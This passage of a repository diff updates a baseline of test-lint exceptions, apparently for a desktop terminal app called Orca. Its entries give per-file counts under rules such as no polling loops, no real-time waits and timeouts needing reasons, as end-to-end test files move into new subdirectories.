test-no-polling-loop:tests/e2e/cross-version-wire/relay/released-relay-transport.ts -1 test-no-polling-loop:tests/e2e/daemon-lifecycle-retirement.spec.ts +1 test-no-polling-loop:tests/e2e/desktop/daemon-lifecycle/daemon-lifecycle-retirement.spec.ts 1 test-no-polling-loop:tests/e2e/fixtures/daemon-generation-legacy-close-client.ts 1 test-no-polling-loop:tests/e2e/fixtures/daemon-generation-reconnect-client.ts -2 test-no-polling-loop:tests/e2e/floating-workspace-reopen-webgl-recovery.spec.ts -1 test-no-polling-loop:tests/e2e/floating-workspace-shared-glyph-atlas.spec.ts -1 test-no-polling-loop:tests/e2e/helpers/computer-cli-driver.ts -2 test-no-polling-loop:tests/e2e/helpers/computer-driver.ts -1 test-no-polling-loop:tests/e2e/helpers/daemon-generation-processes.ts -1 test-no-polling-loop:tests/e2e/helpers/electron-process-shutdown.ts -1 test-no-polling-loop:tests/e2e/helpers/headless-layout-oracle-hosts.ts -1 test-no-polling-loop:tests/e2e/helpers/hold-window-graph-publication.ts -2 test-no-polling-loop:tests/e2e/helpers/layout-compat-baseline.ts -2 test-no-polling-loop:tests/e2e/helpers/legacy-relay-docker-host.ts -1 test-no-polling-loop:tests/e2e/helpers/orca-app.ts -1 test-no-polling-loop:tests/e2e/helpers/orca-restart.ts -1 test-no-polling-loop:tests/e2e/helpers/orca-serve-cli-host.ts -1 test-no-polling-loop:tests/e2e/helpers/packaged-old-orca.ts -1 test-no-polling-loop:tests/e2e/helpers/paired-client-window-reveal.ts -1 test-no-polling-loop:tests/e2e/helpers/paired-electron-client.ts -1 test-no-polling-loop:tests/e2e/helpers/paired-host-terminal.ts -1 test-no-polling-loop:tests/e2e/helpers/restored-terminal-input-readiness.ts -1 test-no-polling-loop:tests/e2e/helpers/terminal-typing-benchmark.ts -1 test-no-polling-loop:tests/e2e/helpers/workspace-layout-oracle-markers.ts -1 test-no-polling-loop:tests/e2e/helpers/workspace-layout-oracle.ts -3 test-no-polling-loop:tests/e2e/host-parked-pane-remote-viewer.spec.ts -1 test-no-polling-loop:tests/e2e/large-file-count-fixtures.ts -1 test-no-polling-loop:tests/e2e/orchestration-idle-mail-delivery.spec.ts -5 test-no-polling-loop:tests/e2e/paced-terminal-typing.ts -1 test-no-polling-loop:tests/e2e/paired-instant-browser-tab.spec.ts -1 test-no-polling-loop:tests/e2e/paired-remote-browser-ghost-subscriber-rejoin.spec.ts -3 test-no-polling-loop:tests/e2e/paired-remote-terminal-client-restart-survival.spec.ts -1 test-no-polling-loop:tests/e2e/paired-remote-terminal-materialization-reconnect.spec.ts -1 test-no-polling-loop:tests/e2e/paired-remote-terminal-parked-reveal-interactivity.spec.ts -1 test-no-polling-loop:tests/e2e/paired-remote-terminal-parked-scrollback-restart.spec.ts -1 test-no-polling-loop:tests/e2e/paired-two-client-emptied-workspace-reseed.spec.ts -1 test-no-polling-loop:tests/e2e/project-group-manual-sort.spec.ts -1 test-no-polling-loop:tests/e2e/slept-workspace-remount-wake.spec.ts -2 test-no-polling-loop:tests/e2e/terminal-column-desync-repro.spec.ts -2 test-no-polling-loop:tests/e2e/terminal-column-probes.ts -1 test-no-polling-loop:tests/e2e/terminal-hidden-view-parking.spec.ts -4 test-no-polling-loop:tests/e2e/terminal-inline-tui-reveal-convergence.spec.ts -1 test-no-polling-loop:tests/e2e/terminal-opencode-emoji-table-rendering.spec.ts -1 test-no-polling-loop:tests/e2e/terminal-pane-close-layout-consistency.spec.ts -2 test-no-polling-loop:tests/e2e/terminal-pty-readiness.ts -1 test-no-polling-loop:tests/e2e/terminal-tab-screenshot.ts -1 test-no-polling-loop:tests/e2e/terminal-tab-switch-visual-restore.spec.ts -1 test-no-polling-loop:tests/e2e/terminal-tui-wheel-reports.spec.ts -1 test-no-polling-loop:tests/e2e/workspace-sleep-in-main.spec.ts -2 test-no-polling-loop:tests/e2e/worktree-card-downward-drag.spec.ts +2 test-no-polling-loop:tests/e2e/layout/window-tabs/floating-workspace-reopen-webgl-recovery.spec.ts +1 test-no-polling-loop:tests/e2e/layout/window-tabs/floating-workspace-shared-glyph-atlas.spec.ts +1 test-no-polling-loop:tests/e2e/desktop/computer-use/computer-cli-driver.ts +2 test-no-polling-loop:tests/e2e/desktop/computer-use/computer-driver.ts +1 test-no-polling-loop:tests/e2e/desktop/daemon-lifecycle/daemon-generation-processes.ts +1 test-no-polling-loop:tests/e2e/desktop/electron-fixtures/electron-process-shutdown.ts +1 test-no-polling-loop:tests/e2e/layout/workspace-oracle/headless-layout-oracle-hosts.ts +1 test-no-polling-loop:tests/e2e/desktop/electron-fixtures/hold-window-graph-publication.ts +2 test-no-polling-loop:tests/e2e/layout/version-compatibility/layout-compat-baseline.ts +2 test-no-polling-loop:tests/e2e/remote/relay/legacy-relay-docker-host.ts +1 test-no-polling-loop:tests/e2e/desktop/electron-fixtures/orca-app.ts +1 test-no-polling-loop:tests/e2e/desktop/electron-fixtures/orca-restart.ts +1 test-no-polling-loop:tests/e2e/remote/paired-runtime/client-hosts/orca-serve-cli-host.ts +1 test-no-polling-loop:tests/e2e/remote/paired-runtime/client-hosts/packaged-old-orca.ts +1 test-no-polling-loop:tests/e2e/remote/paired-runtime/client-hosts/paired-client-window-reveal.ts +1 test-no-polling-loop:tests/e2e/remote/paired-runtime/client-hosts/paired-electron-client.ts +1 test-no-polling-loop:tests/e2e/terminal/remote-hosts/paired-host-terminal.ts +1 test-no-polling-loop:tests/e2e/terminal/readiness/restored-terminal-input-readiness.ts +1 test-no-polling-loop:tests/e2e/terminal/performance/terminal-typing-benchmark.ts +1 test-no-polling-loop:tests/e2e/layout/workspace-oracle/workspace-layout-oracle-markers.ts +1 test-no-polling-loop:tests/e2e/layout/workspace-oracle/workspace-layout-oracle.ts +1 test-no-polling-loop:tests/e2e/source-control/large-file-count-fixtures.ts +5 test-no-polling-loop:tests/e2e/terminal/performance/paced-terminal-typing.ts +1 test-no-polling-loop:tests/e2e/browser/remote-hosted/paired-remote-browser-ghost-subscriber-rejoin.spec.ts +1 test-no-polling-loop:tests/e2e/workspaces/project-admission/project-group-manual-sort.spec.ts +2 test-no-polling-loop:tests/e2e/terminal/rendering/terminal-column-desync-repro.spec.ts +2 test-no-polling-loop:tests/e2e/terminal/rendering/terminal-column-probes.ts +2 test-no-polling-loop:tests/e2e/terminal/lifecycle/terminal-pty-readiness.ts +1 test-no-polling-loop:tests/e2e/terminal/rendering/terminal-tab-screenshot.ts +1 test-no-polling-loop:tests/e2e/terminal/rendering/terminal-tab-switch-visual-restore.spec.ts +1 test-no-polling-loop:tests/e2e/workspaces/sleep/workspace-sleep-in-main.spec.ts 1 test-no-real-time-wait:src/main/agent-hooks/installation/scripts/posix-hook-json-stdin-reader.test.ts 1 test-no-real-time-wait:src/main/ai-vault/scanners/opencode/reader-transport/session-scanner-opencode-sqlite-process.test.ts 1 test-no-real-time-wait:src/main/antigravity/windows-hook-json-post.test.ts @@ -166,144 +146,62 @@ 2 test-no-real-time-wait:src/shared/shell/launch/startup-command-staging.node-pty.test.ts 4 test-no-real-time-wait:src/shared/terminal/pty/ingress/pty-reply-echo-shapes.node-pty.test.ts 5 test-no-real-time-wait:src/wsl-guest/agent-hooks/server/agent-hook-server.test.ts -1 test-no-real-time-wait:tests/e2e/accumulated-workspace-status-fixture.ts -1 test-no-real-time-wait:tests/e2e/agent-session-live-force-exit-resume.spec.ts -3 test-no-real-time-wait:tests/e2e/agent-session-log-tail-stability.spec.ts -1 test-no-real-time-wait:tests/e2e/artificial-opencode-pane-interactions.ts -1 test-no-real-time-wait:tests/e2e/artificial-opencode-revisit-pressure-scenario.ts -1 test-no-real-time-wait:tests/e2e/browser-guest-crash-recovery.spec.ts -1 test-no-real-time-wait:tests/e2e/browser-tab.spec.ts -9 test-no-real-time-wait:tests/e2e/chinese-ime-chat-input-repro.spec.ts -2 test-no-real-time-wait:tests/e2e/cli-floating-file-open-position.spec.ts -1 test-no-real-time-wait:tests/e2e/codex-ctrl-c-status.spec.ts +1 test-no-real-time-wait:tests/e2e/layout/accumulated-workspaces/accumulated-workspace-status-fixture.ts +1 test-no-real-time-wait:tests/e2e/terminal/performance/artificial-opencode-pane-interactions.ts +1 test-no-real-time-wait:tests/e2e/terminal/performance/artificial-opencode-revisit-pressure-scenario.ts 1 test-no-real-time-wait:tests/e2e/cross-version-wire/relay/legacy-relay-bridge.unit.test.ts 1 test-no-real-time-wait:tests/e2e/cross-version-wire/relay/released-relay-daemon.ts 2 test-no-real-time-wait:tests/e2e/cross-version-wire/relay/released-relay-transport.ts -1 test-no-real-time-wait:tests/e2e/daemon-lifecycle-retirement.spec.ts -2 test-no-real-time-wait:tests/e2e/default-tabs-mark-crash-relaunch.spec.ts -1 test-no-real-time-wait:tests/e2e/diff-note-draft.spec.ts -2 test-no-real-time-wait:tests/e2e/droid-notification.spec.ts -1 test-no-real-time-wait:tests/e2e/file-explorer-linked-watch-refresh.spec.ts -1 test-no-real-time-wait:tests/e2e/file-explorer-watch-refresh.spec.ts +1 test-no-real-time-wait:tests/e2e/desktop/daemon-lifecycle/daemon-lifecycle-retirement.spec.ts 1 test-no-real-time-wait:tests/e2e/fixtures/daemon-generation-legacy-close-client.ts 1 test-no-real-time-wait:tests/e2e/fixtures/daemon-generation-reconnect-client.ts -4 test-no-real-time-wait:tests/e2e/floating-workspace-reopen-webgl-recovery.spec.ts -4 test-no-real-time-wait:tests/e2e/floating-workspace-shared-glyph-atlas.spec.ts -1 test-no-real-time-wait:tests/e2e/headless-paired-remote-terminal-reveal-grid.spec.ts -1 test-no-real-time-wait:tests/e2e/headless-paired-remote-terminal-viewer-size.spec.ts -2 test-no-real-time-wait:tests/e2e/helpers/computer-cli-driver.ts -4 test-no-real-time-wait:tests/e2e/helpers/computer-driver.ts -1 test-no-real-time-wait:tests/e2e/helpers/daemon-generation-processes.ts -1 test-no-real-time-wait:tests/e2e/helpers/electron-main-evaluate-retry.ts -1 test-no-real-time-wait:tests/e2e/helpers/electron-process-shutdown.ts -1 test-no-real-time-wait:tests/e2e/helpers/headless-layout-oracle-hosts.ts -1 test-no-real-time-wait:tests/e2e/helpers/hold-window-graph-publication.ts -2 test-no-real-time-wait:tests/e2e/helpers/layout-compat-baseline.ts -2 test-no-real-time-wait:tests/e2e/helpers/legacy-relay-docker-host.ts -1 test-no-real-time-wait:tests/e2e/helpers/orca-app.ts -1 test-no-real-time-wait:tests/e2e/helpers/orca-restart.ts -1 test-no-real-time-wait:tests/e2e/helpers/orca-serve-cli-host.ts -1 test-no-real-time-wait:tests/e2e/helpers/orcad-convert-flow.ts -1 test-no-real-time-wait:tests/e2e/helpers/packaged-old-orca.ts -1 test-no-real-time-wait:tests/e2e/helpers/paired-client-window-reveal.ts -1 test-no-real-time-wait:tests/e2e/helpers/paired-desktop-server-layout.ts -1 test-no-real-time-wait:tests/e2e/helpers/paired-electron-client.ts -1 test-no-real-time-wait:tests/e2e/helpers/paired-host-terminal.ts -3 test-no-real-time-wait:tests/e2e/helpers/remote-session-bulk-open-oracle.ts -1 test-no-real-time-wait:tests/e2e/helpers/restored-terminal-input-readiness.ts -1 test-no-real-time-wait:tests/e2e/helpers/terminal-pty-write-spy.ts -1 test-no-real-time-wait:tests/e2e/helpers/terminal-typing-benchmark.ts -2 test-no-real-time-wait:tests/e2e/helpers/workspace-layout-oracle-markers.ts -2 test-no-real-time-wait:tests/e2e/helpers/workspace-layout-oracle.ts -1 test-no-real-time-wait:tests/e2e/hidden-workspace-notifications.spec.ts -3 test-no-real-time-wait:tests/e2e/host-parked-pane-remote-viewer.spec.ts -2 test-no-real-time-wait:tests/e2e/host-terminal-agent-phone-push.spec.ts -7 test-no-real-time-wait:tests/e2e/korean-ime-terminal-shift-enter-commit.spec.ts -1 test-no-real-time-wait:tests/e2e/large-file-count-fixtures.ts -1 test-no-real-time-wait:tests/e2e/large-markdown-preview.spec.ts -1 test-no-real-time-wait:tests/e2e/layout-stream-loss-reopen.spec.ts -3 test-no-real-time-wait:tests/e2e/notification-sound-replay.spec.ts -4 test-no-real-time-wait:tests/e2e/orchestration-idle-mail-delivery.spec.ts -1 test-no-real-time-wait:tests/e2e/orchestration-idle-mail-restore.spec.ts -4 test-no-real-time-wait:tests/e2e/paced-terminal-typing.ts -1 test-no-real-time-wait:tests/e2e/paired-client-hosted-browser-double-restart.spec.ts -1 test-no-real-time-wait:tests/e2e/paired-client-hosted-browser-ghost-close.spec.ts -4 test-no-real-time-wait:tests/e2e/paired-client-hosted-browser-network-outage.spec.ts -2 test-no-real-time-wait:tests/e2e/paired-client-hosted-browser-quit-survival.spec.ts -1 test-no-real-time-wait:tests/e2e/paired-host-usage-credentials.spec.ts -5 test-no-real-time-wait:tests/e2e/paired-instant-browser-tab.spec.ts -2 test-no-real-time-wait:tests/e2e/paired-remote-browser-ghost-subscriber-rejoin.spec.ts -2 test-no-real-time-wait:tests/e2e/paired-remote-browser-stream-reconnect.spec.ts -3 test-no-real-time-wait:tests/e2e/paired-remote-terminal-client-restart-survival.spec.ts -1 test-no-real-time-wait:tests/e2e/paired-remote-terminal-materialization-reconnect.spec.ts -1 test-no-real-time-wait:tests/e2e/paired-remote-terminal-network-outage.spec.ts -1 test-no-real-time-wait:tests/e2e/paired-remote-terminal-parked-reveal-interactivity.spec.ts -1 test-no-real-time-wait:tests/e2e/paired-remote-terminal-parked-scrollback-restart.spec.ts -1 test-no-real-time-wait:tests/e2e/paired-remote-terminal-reconnect-idle-frame.spec.ts -2 test-no-real-time-wait:tests/e2e/paired-two-client-emptied-workspace-reseed.spec.ts -1 test-no-real-time-wait:tests/e2e/pdf-find-counter.spec.ts -1 test-no-real-time-wait:tests/e2e/pdf-viewer-rebuild-recovery.spec.ts -1 test-no-real-time-wait:tests/e2e/project-group-manual-sort.spec.ts -2 test-no-real-time-wait:tests/e2e/relaunch-first-terminal.spec.ts -4 test-no-real-time-wait:tests/e2e/relaunch-sleeping-agents-resume-on-view.spec.ts -1 test-no-real-time-wait:tests/e2e/resource-manager-local-pty-view.spec.ts -1 test-no-real-time-wait:tests/e2e/settings-display-name-ime.spec.ts -1 test-no-real-time-wait:tests/e2e/settled-worker-tab-survives-restart.spec.ts -2 test-no-real-time-wait:tests/e2e/setup-script-prompt-unreadable-orca-yaml.spec.ts -2 test-no-real-time-wait:tests/e2e/sidebar-desktop-reads-main.spec.ts -1 test-no-real-time-wait:tests/e2e/sidebar-unread-older-paired-host.spec.ts -2 test-no-real-time-wait:tests/e2e/slept-workspace-remount-wake.spec.ts -1 test-no-real-time-wait:tests/e2e/ssh-orcad-idle-exit.spec.ts -1 test-no-real-time-wait:tests/e2e/ssh-orcad-pairing-repair.spec.ts -1 test-no-real-time-wait:tests/e2e/ssh-orcad-sleep-disconnected.spec.ts -1 test-no-real-time-wait:tests/e2e/ssh-orcad-terminal-network-outage.spec.ts -1 test-no-real-time-wait:tests/e2e/ssh-orcad-terminal-reconnect-idle-frame.spec.ts -1 test-no-real-time-wait:tests/e2e/status-bar-session-count-management-kill.spec.ts -1 test-no-real-time-wait:tests/e2e/tasks-page.spec.ts -2 test-no-real-time-wait:tests/e2e/terminal-cjk-ime-committed-text.spec.ts -1 test-no-real-time-wait:tests/e2e/terminal-closed-pane-quit-relaunch.spec.ts -8 test-no-real-time-wait:tests/e2e/terminal-column-desync-repro.spec.ts -2 test-no-real-time-wait:tests/e2e/terminal-column-probes.ts -2 test-no-real-time-wait:tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts -2 test-no-real-time-wait:tests/e2e/terminal-hangul-terminating-digit-native.spec.ts -1 test-no-real-time-wait:tests/e2e/terminal-hangul-wrap-boundary-bytes.spec.ts -1 test-no-real-time-wait:tests/e2e/terminal-hidden-view-parking.spec.ts -1 test-no-real-time-wait:tests/e2e/terminal-ibus-hangul-native.spec.ts -1 test-no-real-time-wait:tests/e2e/terminal-ime-cdp-composition.ts -9 test-no-real-time-wait:tests/e2e/terminal-inline-tui-reveal-convergence.spec.ts -1 test-no-real-time-wait:tests/e2e/terminal-korean-composing-chord-order.spec.ts -1 test-no-real-time-wait:tests/e2e/terminal-large-paste-responsiveness.spec.ts -1 test-no-real-time-wait:tests/e2e/terminal-link-click-ownership.spec.ts -1 test-no-real-time-wait:tests/e2e/terminal-link-hover-after-worktree-return.spec.ts -1 test-no-real-time-wait:tests/e2e/terminal-macos-system-key-remap.spec.ts -3 test-no-real-time-wait:tests/e2e/terminal-opencode-emoji-table-rendering.spec.ts -4 test-no-real-time-wait:tests/e2e/terminal-pane-close-layout-consistency.spec.ts -2 test-no-real-time-wait:tests/e2e/terminal-pinned-viewport-streaming-switch.spec.ts -2 test-no-real-time-wait:tests/e2e/terminal-pinned-viewport-worktree-switch.spec.ts -1 test-no-real-time-wait:tests/e2e/terminal-pty-readiness.ts -3 test-no-real-time-wait:tests/e2e/terminal-raw-emoji-table-scroll-restore.spec.ts -1 test-no-real-time-wait:tests/e2e/terminal-reattach-mouse-mode-leak.spec.ts -1 test-no-real-time-wait:tests/e2e/terminal-reattach-tui-mouse-mode.spec.ts -2 test-no-real-time-wait:tests/e2e/terminal-reveal-paused-render-repro.spec.ts -1 test-no-real-time-wait:tests/e2e/terminal-scroll-intent-follow.spec.ts -1 test-no-real-time-wait:tests/e2e/terminal-tab-close-restart-persistence.spec.ts -1 test-no-real-time-wait:tests/e2e/terminal-tab-close-running-confirm-mouse.spec.ts -1 test-no-real-time-wait:tests/e2e/terminal-tab-close-running-confirm.spec.ts -2 test-no-real-time-wait:tests/e2e/terminal-tab-level-binding-upgrade.spec.ts -1 test-no-real-time-wait:tests/e2e/terminal-tab-screenshot.ts -2 test-no-real-time-wait:tests/e2e/terminal-tab-switch-sigwinch-restore.spec.ts -3 test-no-real-time-wait:tests/e2e/terminal-tab-switch-visual-restore.spec.ts -1 test-no-real-time-wait:tests/e2e/terminal-tui-wheel-drain.spec.ts -4 test-no-real-time-wait:tests/e2e/terminal-tui-wheel-reports.spec.ts -4 test-no-real-time-wait:tests/e2e/terminal-warm-reattach-split-live-output.spec.ts -2 test-no-real-time-wait:tests/e2e/terminal-windows-codex-multiline-paste.spec.ts -1 test-no-real-time-wait:tests/e2e/unopened-workspace-agent-single-resume.spec.ts -1 test-no-real-time-wait:tests/e2e/workspace-sleep-in-main.spec.ts -3 test-no-real-time-wait:tests/e2e/workspace-sleep-main-resume.spec.ts -2 test-no-real-time-wait:tests/e2e/worktree-card-downward-drag.spec.ts -1 test-no-real-time-wait:tests/e2e/worktree-jump-sleep-focus.spec.ts -1 test-no-real-time-wait:tests/e2e/worktree-parent-reorder.spec.ts -3 test-no-real-time-wait:tests/e2e/worktree.spec.ts +4 test-no-real-time-wait:tests/e2e/layout/window-tabs/floating-workspace-reopen-webgl-recovery.spec.ts +4 test-no-real-time-wait:tests/e2e/layout/window-tabs/floating-workspace-shared-glyph-atlas.spec.ts +1 test-no-real-time-wait:tests/e2e/terminal/remote-layout/headless-paired-remote-terminal-reveal-grid.spec.ts +1 test-no-real-time-wait:tests/e2e/terminal/remote-layout/headless-paired-remote-terminal-viewer-size.spec.ts +2 test-no-real-time-wait:tests/e2e/desktop/computer-use/computer-cli-driver.ts +4 test-no-real-time-wait:tests/e2e/desktop/computer-use/computer-driver.ts +1 test-no-real-time-wait:tests/e2e/desktop/daemon-lifecycle/daemon-generation-processes.ts +1 test-no-real-time-wait:tests/e2e/desktop/electron-fixtures/electron-main-evaluate-retry.ts +1 test-no-real-time-wait:tests/e2e/desktop/electron-fixtures/electron-process-shutdown.ts +1 test-no-real-time-wait:tests/e2e/layout/workspace-oracle/headless-layout-oracle-hosts.ts +1 test-no-real-time-wait:tests/e2e/desktop/electron-fixtures/hold-window-graph-publication.ts +2 test-no-real-time-wait:tests/e2e/layout/version-compatibility/layout-compat-baseline.ts +2 test-no-real-time-wait:tests/e2e/remote/relay/legacy-relay-docker-host.ts +1 test-no-real-time-wait:tests/e2e/desktop/electron-fixtures/orca-app.ts +1 test-no-real-time-wait:tests/e2e/desktop/electron-fixtures/orca-restart.ts +1 test-no-real-time-wait:tests/e2e/remote/paired-runtime/client-hosts/orca-serve-cli-host.ts +1 test-no-real-time-wait:tests/e2e/remote/managed-ssh/host-lifecycle/orcad-convert-flow.ts +1 test-no-real-time-wait:tests/e2e/remote/paired-runtime/client-hosts/packaged-old-orca.ts +1 test-no-real-time-wait:tests/e2e/remote/paired-runtime/client-hosts/paired-client-window-reveal.ts +1 test-no-real-time-wait:tests/e2e/layout/publication/paired-desktop-server-layout.ts +1 test-no-real-time-wait:tests/e2e/remote/paired-runtime/client-hosts/paired-electron-client.ts +1 test-no-real-time-wait:tests/e2e/terminal/remote-hosts/paired-host-terminal.ts +3 test-no-real-time-wait:tests/e2e/terminal/remote-layout/remote-session-bulk-open-oracle.ts +1 test-no-real-time-wait:tests/e2e/terminal/readiness/restored-terminal-input-readiness.ts +1 test-no-real-time-wait:tests/e2e/terminal/input/terminal-pty-write-spy.ts +1 test-no-real-time-wait:tests/e2e/terminal/performance/terminal-typing-benchmark.ts +2 test-no-real-time-wait:tests/e2e/layout/workspace-oracle/workspace-layout-oracle-markers.ts +2 test-no-real-time-wait:tests/e2e/layout/workspace-oracle/workspace-layout-oracle.ts +1 test-no-real-time-wait:tests/e2e/source-control/large-file-count-fixtures.ts +4 test-no-real-time-wait:tests/e2e/terminal/performance/paced-terminal-typing.ts +2 test-no-real-time-wait:tests/e2e/browser/remote-hosted/paired-remote-browser-ghost-subscriber-rejoin.spec.ts +1 test-no-real-time-wait:tests/e2e/workspaces/project-admission/project-group-manual-sort.spec.ts +1 test-no-real-time-wait:tests/e2e/workspaces/sidebar/sidebar-unread-older-paired-host.spec.ts +1 test-no-real-time-wait:tests/e2e/terminal/layout/terminal-closed-pane-quit-relaunch.spec.ts +8 test-no-real-time-wait:tests/e2e/terminal/rendering/terminal-column-desync-repro.spec.ts +2 test-no-real-time-wait:tests/e2e/terminal/rendering/terminal-column-probes.ts +1 test-no-real-time-wait:tests/e2e/terminal/ime/terminal-ime-cdp-composition.ts +1 test-no-real-time-wait:tests/e2e/terminal/links/terminal-link-click-ownership.spec.ts +1 test-no-real-time-wait:tests/e2e/terminal/lifecycle/terminal-pty-readiness.ts +1 test-no-real-time-wait:tests/e2e/terminal/lifecycle/terminal-scroll-intent-follow.spec.ts +1 test-no-real-time-wait:tests/e2e/terminal/retention/terminal-tab-close-running-confirm-mouse.spec.ts +1 test-no-real-time-wait:tests/e2e/terminal/retention/terminal-tab-close-running-confirm.spec.ts +2 test-no-real-time-wait:tests/e2e/terminal/lifecycle/terminal-tab-level-binding-upgrade.spec.ts +1 test-no-real-time-wait:tests/e2e/terminal/rendering/terminal-tab-screenshot.ts +3 test-no-real-time-wait:tests/e2e/terminal/rendering/terminal-tab-switch-visual-restore.spec.ts +1 test-no-real-time-wait:tests/e2e/workspaces/sleep/workspace-sleep-in-main.spec.ts +1 test-no-real-time-wait:tests/e2e/workspaces/sidebar/worktree-parent-reorder.spec.ts 1 test-no-wall-clock:config/scripts/worktree-storage/reclaim-dev-electron-bundles.test.ts 1 test-no-wall-clock:config/scripts/worktree-storage/reclaim-release-test-caches.test.ts 1 test-no-wall-clock:mobile/scripts/native-build-cache.test.ts @@ -424,7 +322,6 @@ 1 test-no-wall-clock:src/wsl-guest/agent-hooks/presence/relay-idle-process-owner.test.ts 2 test-no-wall-clock:tests/e2e/cross-version-wire/relay/legacy-relay-bridge.unit.test.ts 2 test-no-wall-clock:tests/e2e/cross-version-wire/release-checkouts/release-checkout.unit.test.ts -1 test-no-wall-clock:tests/e2e/host-cold-park-remote-subscriber.unit.test.ts 1 test-timeout-needs-reason:src/cli/agents/agent-launch-process.test.ts 1 test-timeout-needs-reason:src/cli/runtime/serve/startup/serve-pid1-init-reaper.test.ts 1 test-timeout-needs-reason:src/cli/skills/skills-install.test.ts @@ -493,174 +390,46 @@ 1 test-timeout-needs-reason:src/renderer/src/lib/source-control/checks/check-run-details-log-normalization-performance.test.ts 1 test-timeout-needs-reason:src/shared/__tests__/process-host/windows-tree-kill-late-taskkill.win32.test.ts 1 test-timeout-needs-reason:src/shared/shell/wsl/wsl-login-shell-command.test.ts -1 test-timeout-needs-reason:tests/e2e/agent-send-picker-reveal.spec.ts -1 test-timeout-needs-reason:tests/e2e/agent-session-log-tail-stability.spec.ts -1 test-timeout-needs-reason:tests/e2e/browser-agent-input-focus-isolation-native.spec.ts -5 test-timeout-needs-reason:tests/e2e/browser-agent-input-focus-isolation.spec.ts -1 test-timeout-needs-reason:tests/e2e/cli-agent-unopened-workspace-resume.spec.ts -1 test-timeout-needs-reason:tests/e2e/combined-diff-invalidation-freeze-repro.spec.ts -1 test-timeout-needs-reason:tests/e2e/completed-worker-retirement-resume.spec.ts 3 test-timeout-needs-reason:tests/e2e/cross-version-wire/relay/legacy-relay-bridge.unit.test.ts 2 test-timeout-needs-reason:tests/e2e/cross-version-wire/release-checkouts/release-checkout.unit.test.ts -1 test-timeout-needs-reason:tests/e2e/csv-paged-preview.spec.ts -1 test-timeout-needs-reason:tests/e2e/csv-url-links.spec.ts -1 test-timeout-needs-reason:tests/e2e/cursor-quota-transport.unit.test.ts -1 test-timeout-needs-reason:tests/e2e/daemon-generation-legacy-close-safety.spec.ts -2 test-timeout-needs-reason:tests/e2e/daemon-generation-reconnect-safety.spec.ts -2 test-timeout-needs-reason:tests/e2e/default-tabs-mark-crash-relaunch.spec.ts -2 test-timeout-needs-reason:tests/e2e/desktop-window-mobile-markdown.spec.ts -1 test-timeout-needs-reason:tests/e2e/floating-tab-rename.spec.ts -1 test-timeout-needs-reason:tests/e2e/golden-quit-relaunch-session.spec.ts -2 test-timeout-needs-reason:tests/e2e/golden-terminal-file-link.spec.ts -1 test-timeout-needs-reason:tests/e2e/golden-worktree-create-switch.spec.ts -1 test-timeout-needs-reason:tests/e2e/headless-mobile-markdown.spec.ts -2 test-timeout-needs-reason:tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts -1 test-timeout-needs-reason:tests/e2e/headless-paired-remote-terminal-reveal-grid.spec.ts -1 test-timeout-needs-reason:tests/e2e/headless-paired-remote-terminal-stall-recovery.spec.ts -1 test-timeout-needs-reason:tests/e2e/headless-paired-remote-terminal-viewer-size.spec.ts -2 test-timeout-needs-reason:tests/e2e/headless-serve-browser-tab-restart.spec.ts -1 test-timeout-needs-reason:tests/e2e/headless-serve-cli-terminal-retention-parity.spec.ts -1 test-timeout-needs-reason:tests/e2e/headless-serve-mobile-markdown.spec.ts -1 test-timeout-needs-reason:tests/e2e/headless-serve-mobile-native-chat-identity.spec.ts -4 test-timeout-needs-reason:tests/e2e/helpers/electron-process-shutdown.unit.test.ts -1 test-timeout-needs-reason:tests/e2e/host-parked-pane-remote-viewer.spec.ts -2 test-timeout-needs-reason:tests/e2e/host-terminal-agent-phone-push.spec.ts -1 test-timeout-needs-reason:tests/e2e/html-file-url-opening.spec.ts -1 test-timeout-needs-reason:tests/e2e/landing-preflight-runtime-routing.spec.ts -1 test-timeout-needs-reason:tests/e2e/layout-compat-new-desktop-on-old-server.spec.ts -2 test-timeout-needs-reason:tests/e2e/layout-compat-old-desktop-on-new-server.spec.ts -1 test-timeout-needs-reason:tests/e2e/layout-compat-old-phone-on-new-server.spec.ts -1 test-timeout-needs-reason:tests/e2e/layout-compat-serve-restart-keeps-at-at-terminals.spec.ts -1 test-timeout-needs-reason:tests/e2e/linear-issue-view-persistence.spec.ts -1 test-timeout-needs-reason:tests/e2e/local-cli-terminal-retention.spec.ts -1 test-timeout-needs-reason:tests/e2e/manual-worktree-order-persistence.spec.ts -1 test-timeout-needs-reason:tests/e2e/markdown-literal-save-reopen.spec.ts -1 test-timeout-needs-reason:tests/e2e/mobile-subscribe-idle-hidden-pane-fit.spec.ts -1 test-timeout-needs-reason:tests/e2e/orcad-serve-open-url-on-desktop.spec.ts -9 test-timeout-needs-reason:tests/e2e/orchestration-idle-mail-delivery.spec.ts -1 test-timeout-needs-reason:tests/e2e/orchestration-idle-mail-restore.spec.ts -1 test-timeout-needs-reason:tests/e2e/orchestration-legacy-worker-missing-terminal-recovery.spec.ts -1 test-timeout-needs-reason:tests/e2e/orchestration-worker-settlement-release-cli.spec.ts -1 test-timeout-needs-reason:tests/e2e/orchestration-worker-transcript-providers.spec.ts -2 test-timeout-needs-reason:tests/e2e/packaged-mixed-version-browser-placement.spec.ts -2 test-timeout-needs-reason:tests/e2e/paired-browser-create-navigation-deadline.spec.ts -3 test-timeout-needs-reason:tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-cli-terminal-graph-sync-tab-retention.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-client-first-terminal-unopened-host-worktree.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-client-host-repo-id-change-rows.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-client-hosted-browser-cookie-survival.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-client-hosted-browser-double-restart.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-client-hosted-browser-ghost-close.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-client-hosted-browser-host-strip.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-client-hosted-browser-markup.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-client-hosted-browser-network-outage.spec.ts -2 test-timeout-needs-reason:tests/e2e/paired-client-hosted-browser-quit-survival.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-client-hosted-browser-restart-survival.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-client-hosted-browser-title-hold.spec.ts -2 test-timeout-needs-reason:tests/e2e/paired-client-hosted-browser.spec.ts -1 